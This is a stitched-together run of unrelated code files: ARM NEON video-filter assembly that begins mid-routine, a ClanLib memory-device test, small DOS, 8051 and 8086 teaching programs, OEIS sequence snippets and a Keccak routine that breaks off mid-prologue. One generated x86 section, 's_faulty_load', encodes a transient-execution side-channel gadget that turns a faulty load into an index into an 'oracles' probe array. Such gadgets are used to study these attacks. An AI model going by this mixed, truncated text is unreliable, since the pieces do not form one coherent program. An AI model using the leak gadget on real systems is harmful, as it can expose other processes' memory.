vld1.u8 {d26, d27}, [lr]!
vmull.u8 q2, d23, d0
vld1.u8 {d28, d29}, [lr]!
vmull.u8 q3, d24, d0
vld1.u8 {d30, d31}, [lr]!
vmull.u8 q4, d25, d0
vmull.u8 q5, d26, d0
vmull.u8 q6, d27, d0
vmull.u8 q7, d28, d0
vmull.u8 q8, d29, d0
vmlal.u8 q1, d24, d1 ;(src_ptr[pixel_step] * Filter[1])
vmlal.u8 q2, d25, d1
vmlal.u8 q3, d26, d1
vmlal.u8 q4, d27, d1
vmlal.u8 q5, d28, d1
vmlal.u8 q6, d29, d1
vmlal.u8 q7, d30, d1
vmlal.u8 q8, d31, d1
subs r12, r12, #1
vqrshrn.u16 d2, q1, #7 ;shift/round/saturate to u8
vqrshrn.u16 d3, q2, #7
vqrshrn.u16 d4, q3, #7
vqrshrn.u16 d5, q4, #7
vqrshrn.u16 d6, q5, #7
vqrshrn.u16 d7, q6, #7
vqrshrn.u16 d8, q7, #7
vqrshrn.u16 d9, q8, #7
vst1.u8 {d2, d3}, [r3]! ;store result
vst1.u8 {d4, d5}, [r3]!
vst1.u8 {d6, d7}, [r3]!
vmov q11, q15
vst1.u8 {d8, d9}, [r3]!
bne vp8e_filt_blk2d_sp16x16_loop_neon
b sub_pixel_variance16x16_neon
;--------------------
firstpass_bfilter16x16_only
mov r2, #4 ;loop counter
sub sp, sp, #528 ;reserve space on stack for temporary storage
vdup.8 d0, d31[0] ;first_pass filter (d0 d1)
vdup.8 d1, d31[4]
mov r3, sp
;First Pass: output_height lines x output_width columns (16x16)
vp8e_filt_blk2d_fpo16x16_loop_neon
vld1.u8 {d2, d3, d4}, [r0], r1 ;load src data
vld1.u8 {d5, d6, d7}, [r0], r1
vld1.u8 {d8, d9, d10}, [r0], r1
vld1.u8 {d11, d12, d13}, [r0], r1
pld [r0]
pld [r0, r1]
pld [r0, r1, lsl #1]
vmull.u8 q7, d2, d0 ;(src_ptr[0] * Filter[0])
vmull.u8 q8, d3, d0
vmull.u8 q9, d5, d0
vmull.u8 q10, d6, d0
vmull.u8 q11, d8, d0
vmull.u8 q12, d9, d0
vmull.u8 q13, d11, d0
vmull.u8 q14, d12, d0
vext.8 d2, d2, d3, #1 ;construct src_ptr[1]
vext.8 d5, d5, d6, #1
vext.8 d8, d8, d9, #1
vext.8 d11, d11, d12, #1
vmlal.u8 q7, d2, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q9, d5, d1
vmlal.u8 q11, d8, d1
vmlal.u8 q13, d11, d1
vext.8 d3, d3, d4, #1
vext.8 d6, d6, d7, #1
vext.8 d9, d9, d10, #1
vext.8 d12, d12, d13, #1
vmlal.u8 q8, d3, d1 ;(src_ptr[0] * Filter[1])
vmlal.u8 q10, d6, d1
vmlal.u8 q12, d9, d1
vmlal.u8 q14, d12, d1
subs r2, r2, #1
vqrshrn.u16 d14, q7, #7 ;shift/round/saturate to u8
vqrshrn.u16 d15, q8, #7
vqrshrn.u16 d16, q9, #7
vqrshrn.u16 d17, q10, #7
vqrshrn.u16 d18, q11, #7
vqrshrn.u16 d19, q12, #7
vqrshrn.u16 d20, q13, #7
vst1.u8 {d14, d15}, [r3]! ;store result
vqrshrn.u16 d21, q14, #7
vst1.u8 {d16, d17}, [r3]!
vst1.u8 {d18, d19}, [r3]!
vst1.u8 {d20, d21}, [r3]!
bne vp8e_filt_blk2d_fpo16x16_loop_neon
b sub_pixel_variance16x16_neon
;---------------------
secondpass_bfilter16x16_only
;Second pass: 16x16
;secondpass_filter
sub sp, sp, #528 ;reserve space on stack for temporary storage
add r3, r12, r3, lsl #3
mov r12, #4 ;loop counter
vld1.u32 {d31}, [r3] ;load second_pass filter
vld1.u8 {d22, d23}, [r0], r1 ;load src data
mov r3, sp
vdup.8 d0, d31[0] ;second_pass filter parameters (d0 d1)
vdup.8 d1, d31[4]
vp8e_filt_blk2d_spo16x16_loop_neon
vld1.u8 {d24, d25}, [r0], r1
vmull.u8 q1, d22, d0 ;(src_ptr[0] * Filter[0])
vld1.u8 {d26, d27}, [r0], r1
vmull.u8 q2, d23, d0
vld1.u8 {d28, d29}, [r0], r1
vmull.u8 q3, d24, d0
vld1.u8 {d30, d31}, [r0], r1
vmull.u8 q4, d25, d0
vmull.u8 q5, d26, d0
vmull.u8 q6, d27, d0
vmull.u8 q7, d28, d0
vmull.u8 q8, d29, d0
vmlal.u8 q1, d24, d1 ;(src_ptr[pixel_step] * Filter[1])
vmlal.u8 q2, d25, d1
vmlal.u8 q3, d26, d1
vmlal.u8 q4, d27, d1
vmlal.u8 q5, d28, d1
vmlal.u8 q6, d29, d1
vmlal.u8 q7, d30, d1
vmlal.u8 q8, d31, d1
vqrshrn.u16 d2, q1, #7 ;shift/round/saturate to u8
vqrshrn.u16 d3, q2, #7
vqrshrn.u16 d4, q3, #7
vqrshrn.u16 d5, q4, #7
vqrshrn.u16 d6, q5, #7
vqrshrn.u16 d7, q6, #7
vqrshrn.u16 d8, q7, #7
vqrshrn.u16 d9, q8, #7
vst1.u8 {d2, d3}, [r3]! ;store result
subs r12, r12, #1
vst1.u8 {d4, d5}, [r3]!
vmov q11, q15
vst1.u8 {d6, d7}, [r3]!
vst1.u8 {d8, d9}, [r3]!
bne vp8e_filt_blk2d_spo16x16_loop_neon
b sub_pixel_variance16x16_neon
;----------------------------
;variance16x16
sub_pixel_variance16x16_neon
vmov.i8 q8, #0 ;q8 - sum
vmov.i8 q9, #0 ;q9, q10 - sse
vmov.i8 q10, #0
sub r3, r3, #256
mov r12, #8
sub_pixel_variance16x16_neon_loop
vld1.8 {q0}, [r3]! ;Load up source and reference
vld1.8 {q2}, [r4], r5
vld1.8 {q1}, [r3]!
vld1.8 {q3}, [r4], r5
vsubl.u8 q11, d0, d4 ;diff
vsubl.u8 q12, d1, d5
vsubl.u8 q13, d2, d6
vsubl.u8 q14, d3, d7
vpadal.s16 q8, q11 ;sum
vmlal.s16 q9, d22, d22 ;sse
vmlal.s16 q10, d23, d23
subs r12, r12, #1
vpadal.s16 q8, q12
vmlal.s16 q9, d24, d24
vmlal.s16 q10, d25, d25
vpadal.s16 q8, q13
vmlal.s16 q9, d26, d26
vmlal.s16 q10, d27, d27
vpadal.s16 q8, q14
vmlal.s16 q9, d28, d28
vmlal.s16 q10, d29, d29
bne sub_pixel_variance16x16_neon_loop
vadd.u32 q10, q9, q10 ;accumulate sse
vpaddl.s32 q0, q8 ;accumulate sum
vpaddl.u32 q1, q10
vadd.s64 d0, d0, d1
vadd.u64 d1, d2, d3
vmull.s32 q5, d0, d0
vst1.32 {d1[0]}, [r6] ;store sse
vshr.u32 d10, d10, #8
vsub.u32 d0, d1, d10
add sp, sp, #528
vmov.32 r0, d0[0] ;return
pop {r4-r6,pc}
ENDP
END
|
/*
** ClanLib SDK
** Copyright (c) 1997-2020 The ClanLib Team
**
** This software is provided 'as-is', without any express or implied
** warranty. In no event will the authors be held liable for any damages
** arising from the use of this software.
**
** Permission is granted to anyone to use this software for any purpose,
** including commercial applications, and to alter it and redistribute it
** freely, subject to the following restrictions:
**
** 1. The origin of this software must not be misrepresented; you must not
** claim that you wrote the original software. If you use this software
** in a product, an acknowledgment in the product documentation would be
** appreciated but is not required.
** 2. Altered source versions must be plainly marked as such, and must not be
** misrepresented as being the original software.
** 3. This notice may not be removed or altered from any source distribution.
**
** Note: Some of the libraries ClanLib may link to may have additional
** requirements or restrictions.
**
** File Author(s):
**
** Mark Page
** (if your name is missing here, please add it)
*/
#include "test.h"
void TestApp::test_iodevice_memory(void)
{
Console::write_line(" Header: memory_device.h");
Console::write_line(" Class: MemoryDevice");
std::string str;
std::string str2;
size_t buffer_size = 200;
DataBuffer data(buffer_size);
MemoryDevice mem(data);
const size_t test_data_size = 256;
char test_data[test_data_size];
char test_data2[test_data_size];
for (int cnt=0; cnt<test_data_size; cnt++)
{
test_data[cnt] = cnt;
}
//*** testing get_data()
Console::write_line(" Function: DataBuffer &MemoryDevice::get_data()");
if (mem.get_data().get_data() != data.get_data()) fail();
//*** testing get_size()
Console::write_line(" Function: int get_size()");
if (mem.get_size() != buffer_size) fail();
//*** testing get_position()
Console::write_line(" Function: int get_position()");
if (mem.get_position() != 0) fail();
mem.seek(123);
if (mem.get_position() != 123) fail();
mem.seek(0);
//*** testing int send()
Console::write_line(" Function: int send(const void *data, int len, bool send_all = true)");
if (mem.send(test_data, buffer_size, true) != buffer_size) fail();
if (memcmp(data.get_data(), test_data, buffer_size)) fail();
if (mem.get_position() != buffer_size) fail();
mem.seek(buffer_size);
if (mem.send(test_data, 1, true) != 1) fail();
int extended_buffer_size = buffer_size + 1;
if (mem.get_position() != extended_buffer_size) fail();
mem.seek(0);
//*** testing int receive()
Console::write_line(" Function: int receive(void *data, int len, bool receive_all = true)");
memset(test_data2, 0, sizeof(test_data2));
if (mem.receive(test_data2, buffer_size, true) != buffer_size) fail();
if (memcmp(test_data2, test_data, buffer_size)) fail();
if (mem.get_position() != buffer_size) fail();
mem.seek(extended_buffer_size);
if (mem.receive(test_data2, 1, true) != 0) fail();
mem.seek(0);
//*** testing int peek()
Console::write_line(" Function: int peek(void *data, int len)");
memset(test_data2, 0, sizeof(test_data2));
if (mem.peek(test_data2, buffer_size) != buffer_size) fail();
if (memcmp(test_data2, test_data, buffer_size)) fail();
if (mem.get_position() != 0) fail();
mem.seek(extended_buffer_size);
if (mem.peek(test_data2, 1) != 0) fail();
mem.seek(0);
//*** testing int seek()
Console::write_line(" Function: bool seek(int position, SeekMode mode = seek_set)");
memset(test_data2, 0, sizeof(test_data2));
if (mem.get_position() != 0) fail();
if (!mem.seek(123)) fail();
if (mem.get_position() != 123) fail();
if (!mem.seek(7, IODevice::SeekMode::cur)) fail();
if (mem.get_position() != 130) fail();
if (!mem.seek(-7, IODevice::SeekMode::end)) fail();
if (mem.get_position() != extended_buffer_size-7) fail();
if (mem.seek(-1)) fail();
if (mem.seek(extended_buffer_size+1)) fail();
if (!mem.seek(0)) fail();
}
|
; Write· a program to read one of the hex digits A-F, and display it on the next line in decimal.
.model small
.stack 100h
.data
msg1 db 'enter a hex digit: $'
msg2 db 'the decimal is: $'
var db ?
.code
main proc
;initialization
mov ax, @data
mov ds, ax
;display msg 1
lea dx, msg1
mov ah, 9
int 21h
;input hex char
mov ah, 1
int 21h
;convert it to decimal
mov var, al
sub var, 17d
;print new line
mov ah, 2
mov dl, 0dh
int 21h
mov dl, 0ah
int 21h
;display msg 2
lea dx, msg2
mov ah, 9
int 21h
;display converted num
mov ah, 2
mov dl, var
int 21h
;exit dos
mov ah, 4ch
int 21h
main endp
end main
|
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; allocate 16 byte aligned stack space for the packed values
lea ecx, [esp-33]
and ecx, 0xfffffff0
; load a 128 bit value into xmm0
mov DWORD [ecx], 0x01230415
mov DWORD [ecx+4], 0xa0a31011
mov DWORD [ecx+8], 0x1b11b10a
mov DWORD [ecx+12], 0x24f832f0
movaps xmm0, [ecx]
lea ecx, [ecx+16]
; load a 128 bit value into xmm1
mov DWORD [ecx], 0xaabacada
mov DWORD [ecx+4], 0x0afe0a0e
mov DWORD [ecx+8], 0x24adb012
mov DWORD [ecx+12], 0x0e1e0e0e
movaps xmm1, [ecx]
;TEST_BEGIN_RECORDING
pcmpgtq xmm0, xmm1
;TEST_END_RECORDING
xor ecx, ecx
cvtsi2sd xmm0, ecx
cvtsi2sd xmm1, ecx
|
SFX_Intro_Hop_Ch4:
duty 2
unknownsfx0x10 38
unknownsfx0x20 12, 194, 128, 6
unknownsfx0x10 8
endchannel
|
;; Created by Ywt.
;; Date: 12/4/2016
TITLE T27_YWT
DATA SEGMENT
A DW 1, 2, 3, 4, 8, 10 DUP(?)
B DW 0, 1, 4, 5, 9, 15 DUP(?)
C DW 15 DUP(?)
ENDS
CODE SEGMENT
ASSUME CS:CODE, DS:DATA
START:
MOV AX, DATA
MOV DS, AX
;; SI->A DI->B BX->C
MOV BX, 0
MOV SI, 0
LOOP1: MOV AX, A[SI]
MOV DI, -1
LOOP2: INC DI
CMP DI, 20
JZ NO ;; NO FOUND
CMP AX, B[DI]
JNZ LOOP2
JMP YES ;; FOUND
YES: MOV C[BX], AX
INC BX
NO: INC SI
CMP SI, 15
JE DONE
JMP LOOP1
;; FINISH
DONE: MOV AH, 4CH
INT 21H
ENDS
END START
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xfb23, %rsi
lea addresses_D_ht+0x3123, %rdi
nop
nop
nop
nop
nop
sub %r12, %r12
mov $34, %rcx
rep movsl
nop
nop
xor $13977, %r14
lea addresses_D_ht+0x142d7, %r10
xor %rdi, %rdi
movups (%r10), %xmm0
vpextrq $0, %xmm0, %r14
nop
and %rsi, %rsi
lea addresses_D_ht+0x78d7, %r12
nop
nop
nop
nop
nop
and $42123, %rax
movb (%r12), %r14b
nop
nop
nop
nop
inc %rax
lea addresses_WT_ht+0x6e43, %rsi
lea addresses_A_ht+0x10a23, %rdi
nop
nop
nop
xor %rdx, %rdx
mov $30, %rcx
rep movsw
nop
nop
nop
xor $55861, %rsi
lea addresses_UC_ht+0x11e4d, %rsi
lea addresses_normal_ht+0x15d23, %rdi
nop
nop
nop
sub $40812, %r12
mov $78, %rcx
rep movsb
cmp %rcx, %rcx
lea addresses_normal_ht+0x1e123, %rdi
nop
nop
sub $9930, %rdx
movups (%rdi), %xmm0
vpextrq $1, %xmm0, %r12
xor $33003, %rsi
lea addresses_A_ht+0x17923, %r14
nop
add %rdx, %rdx
movups (%r14), %xmm7
vpextrq $0, %xmm7, %rax
nop
nop
xor $50193, %rcx
lea addresses_WT_ht+0x7f23, %r14
nop
nop
nop
sub %rax, %rax
mov (%r14), %r10w
nop
nop
nop
nop
xor $47028, %rax
lea addresses_normal_ht+0xe523, %r14
nop
nop
nop
nop
nop
cmp $39497, %rdx
movb $0x61, (%r14)
nop
nop
nop
dec %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_normal+0x11d23, %r9
clflush (%r9)
nop
and $28106, %rax
mov $0x5152535455565758, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r9)
nop
cmp $52646, %r11
// Store
lea addresses_D+0x1dcb, %rbx
nop
cmp %rdx, %rdx
mov $0x5152535455565758, %r11
movq %r11, %xmm3
vmovups %ymm3, (%rbx)
nop
nop
nop
nop
nop
add %rdx, %rdx
// Faulty Load
lea addresses_UC+0x14123, %r8
nop
nop
nop
nop
dec %r9
mov (%r8), %dx
lea oracles, %rcx
and $0xff, %rdx
shlq $12, %rdx
mov (%rcx,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
SECTION rodata_font_fzx
PUBLIC _ff_dkud2_Midnight
_ff_dkud2_Midnight:
BINARY "font/fzx/fonts/dkud2/Midnight/midnight.fzx"
|
ORG 000H ; Intialize
MOV A, #62H ; Copy content of LSB of First number
MOV B, #96H ; Copy content of LSB of Second Number
SUBB A, B ; Subtract LSB of Both the numbers
MOV R6, A ; Transfer the additon result from ACC to Reg 6
MOV 41H, R6 ; Store the result in given memory location
MOV A, #27H ; Copy content of MSB of First number
MOV R0, #12H ; Copy content of MSB of Second number
SUBB A, R0 ; Subtract the MSB of both the number
MOV R1, A ; Transfer result from Accumulator to Register R1
MOV 40H, R1 ; Store result in given memory location
END
/*Another Method*/
ORG 0000H
CLR C ;MAKE CY=0
MOV A,#20H ;LOWER BYTE OF OPERAND 1 IN A (replace 20 with lower operand of your subtractend)
SUBB A,#DEH ;SUBTRACT LOWER BYTE OF OPERAND 2 WITH A (replace DE with lower operand of your subtractor data)
MOV R1,A ;STORES LSB OF RESULT IN R1
MOV A,#65H ;HIGHER BYTE OF OPERAND 2 IN A (replace 65 with higher operand of your subtractend)
SUBB A,#ABH ;SUBTRACT WITH HIGHER BYTE OF OPERAND 1 (replace AB with higher operand of your subtractor)
MOV R0,A ;STORES MSB OF RESULT IN R0
END
|
; A057947: n has ambiguous representations in "bad hexadecimal": numbers with the digit 1 followed by a digit less than 6.
; 10,11,12,13,14,15,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146
mov $1,2
mov $3,$0
lpb $0
sub $1,$1
gcd $1,4
add $2,5
mov $0,$2
pow $1,2
lpe
mul $1,6
sub $1,2
add $1,$3
|
; A187532: a(n) = 4^n mod 19.
; 1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1,4,16,7,9,17,11,6,5,1
mov $1,2
mov $2,$0
lpb $2
mul $1,4
mod $1,38
sub $2,1
lpe
mov $0,$1
div $0,2
|
OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
ALIGN 32
__KeccakF1600 PROC PRIVATE
mov rax,QWORD PTR[60+rdi]
mov rbx,QWORD PTR[68+rdi]
mov rcx,QWORD PTR[76+rdi]
mov rdx,QWORD PTR[84+rdi]
mov rbp,QWORD PTR[92+rdi]
jmp $L$oop
ALIGN 32
$L$oop::
mov r8,QWORD PTR[((-100))+rdi]
mov r9,QWORD PTR[((-52))+rdi]
mov r10,QWORD PTR[((-4))+rdi]
mov r11,QWORD PTR[44+rdi]
xor rcx,QWORD PTR[((-84))+rdi]
xor rdx,QWORD PTR[((-76))+rdi]
xor rax,r8
xor rbx,QWORD PTR[((-92))+rdi]
xor rcx,QWORD PTR[((-44))+rdi]
xor rax,QWORD PTR[((-60))+rdi]
mov r12,rbp
xor rbp,QWORD PTR[((-68))+rdi]
xor rcx,r10
xor rax,QWORD PTR[((-20))+rdi]
xor rdx,QWORD PTR[((-36))+rdi]
xor rbx,r9
xor rbp,QWORD PTR[((-28))+rdi]
xor rcx,QWORD PTR[36+rdi]
xor rax,QWORD PTR[20+rdi]
xor rdx,QWORD PTR[4+rdi]
xor rbx,QWORD PTR[((-12))+rdi]
xor rbp,QWORD PTR[12+rdi]
mov r13,rcx
rol rcx,1
xor rcx,rax
xor rdx,r11
rol rax,1
xor rax,rdx
xor rbx,QWORD PTR[28+rdi]
rol rdx,1
xor rdx,rbx
xor rbp,QWORD PTR[52+rdi]
rol rbx,1
xor rbx,rbp
rol rbp,1
xor rbp,r13
xor r9,rcx
xor r10,rdx
rol r9,44
xor r11,rbp
xor r12,rax
rol r10,43
xor r8,rbx
mov r13,r9
rol r11,21
or r9,r10
xor r9,r8
rol r12,14
xor r9,QWORD PTR[r15]
lea r15,QWORD PTR[8+r15]
mov r14,r12
and r12,r11
mov QWORD PTR[((-100))+rsi],r9
xor r12,r10
not r10
mov QWORD PTR[((-84))+rsi],r12
or r10,r11
mov r12,QWORD PTR[76+rdi]
xor r10,r13
mov QWORD PTR[((-92))+rsi],r10
and r13,r8
mov r9,QWORD PTR[((-28))+rdi]
xor r13,r14
mov r10,QWORD PTR[((-20))+rdi]
mov QWORD PTR[((-68))+rsi],r13
or r14,r8
mov r8,QWORD PTR[((-76))+rdi]
xor r14,r11
mov r11,QWORD PTR[28+rdi]
mov QWORD PTR[((-76))+rsi],r14
xor r8,rbp
xor r12,rdx
rol r8,28
xor r11,rcx
xor r9,rax
rol r12,61
rol r11,45
xor r10,rbx
rol r9,20
mov r13,r8
or r8,r12
rol r10,3
xor r8,r11
mov QWORD PTR[((-36))+rsi],r8
mov r14,r9
and r9,r13
mov r8,QWORD PTR[((-92))+rdi]
xor r9,r12
not r12
mov QWORD PTR[((-28))+rsi],r9
or r12,r11
mov r9,QWORD PTR[((-44))+rdi]
xor r12,r10
mov QWORD PTR[((-44))+rsi],r12
and r11,r10
mov r12,QWORD PTR[60+rdi]
xor r11,r14
mov QWORD PTR[((-52))+rsi],r11
or r14,r10
mov r10,QWORD PTR[4+rdi]
xor r14,r13
mov r11,QWORD PTR[52+rdi]
mov QWORD PTR[((-60))+rsi],r14
xor r10,rbp
xor r11,rax
rol r10,25
xor r9,rdx
rol r11,8
xor r12,rbx
rol r9,6
xor r8,rcx
rol r12,18
mov r13,r10
and r10,r11
rol r8,1
not r11
xor r10,r9
mov QWORD PTR[((-12))+rsi],r10
mov r14,r12
and r12,r11
mov r10,QWORD PTR[((-12))+rdi]
xor r12,r13
mov QWORD PTR[((-4))+rsi],r12
or r13,r9
mov r12,QWORD PTR[84+rdi]
xor r13,r8
mov QWORD PTR[((-20))+rsi],r13
and r9,r8
xor r9,r14
mov QWORD PTR[12+rsi],r9
or r14,r8
mov r9,QWORD PTR[((-60))+rdi]
xor r14,r11
mov r11,QWORD PTR[36+rdi]
mov QWORD PTR[4+rsi],r14
mov r8,QWORD PTR[((-68))+rdi]
xor r10,rcx
xor r11,rdx
rol r10,10
xor r9,rbx
rol r11,15
xor r12,rbp
rol r9,36
xor r8,rax
rol r12,56
mov r13,r10
or r10,r11
rol r8,27
not r11
xor r10,r9
mov QWORD PTR[28+rsi],r10
mov r14,r12
or r12,r11
xor r12,r13
mov QWORD PTR[36+rsi],r12
and r13,r9
xor r13,r8
mov QWORD PTR[20+rsi],r13
or r9,r8
xor r9,r14
mov QWORD PTR[52+rsi],r9
and r8,r14
xor r8,r11
mov QWORD PTR[44+rsi],r8
xor rdx,QWORD PTR[((-84))+rdi]
xor rbp,QWORD PTR[((-36))+rdi]
rol rdx,62
xor rcx,QWORD PTR[68+rdi]
rol rbp,55
xor rax,QWORD PTR[12+rdi]
rol rcx,2
xor rbx,QWORD PTR[20+rdi]
xchg rdi,rsi
rol rax,39
rol rbx,41
mov r13,rdx
and rdx,rbp
not rbp
xor rdx,rcx
mov QWORD PTR[92+rdi],rdx
mov r14,rax
and rax,rbp
xor rax,r13
mov QWORD PTR[60+rdi],rax
or r13,rcx
xor r13,rbx
mov QWORD PTR[84+rdi],r13
and rcx,rbx
xor rcx,r14
mov QWORD PTR[76+rdi],rcx
or rbx,r14
xor rbx,rbp
mov QWORD PTR[68+rdi],rbx
mov rbp,rdx
mov rdx,r13
test r15,255
jnz $L$oop
lea r15,QWORD PTR[((-192))+r15]
DB 0F3h,0C3h ;repret
__KeccakF1600 ENDP
ALIGN 32
KeccakF1600 PROC PRIVATE
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rdi,QWORD PTR[100+rdi]
sub rsp,200
not QWORD PTR[((-92))+rdi]
not QWORD PTR[((-84))+rdi]
not QWORD PTR[((-36))+rdi]
not QWORD PTR[((-4))+rdi]
not QWORD PTR[36+rdi]
not QWORD PTR[60+rdi]
lea r15,QWORD PTR[iotas]
lea rsi,QWORD PTR[100+rsp]
call __KeccakF1600
not QWORD PTR[((-92))+rdi]
not QWORD PTR[((-84))+rdi]
not QWORD PTR[((-36))+rdi]
not QWORD PTR[((-4))+rdi]
not QWORD PTR[36+rdi]
not QWORD PTR[60+rdi]
lea rdi,QWORD PTR[((-100))+rdi]
add rsp,200
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
DB 0F3h,0C3h ;repret
KeccakF1600 ENDP
PUBLIC SHA3_absorb
ALIGN 32
SHA3_absorb PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
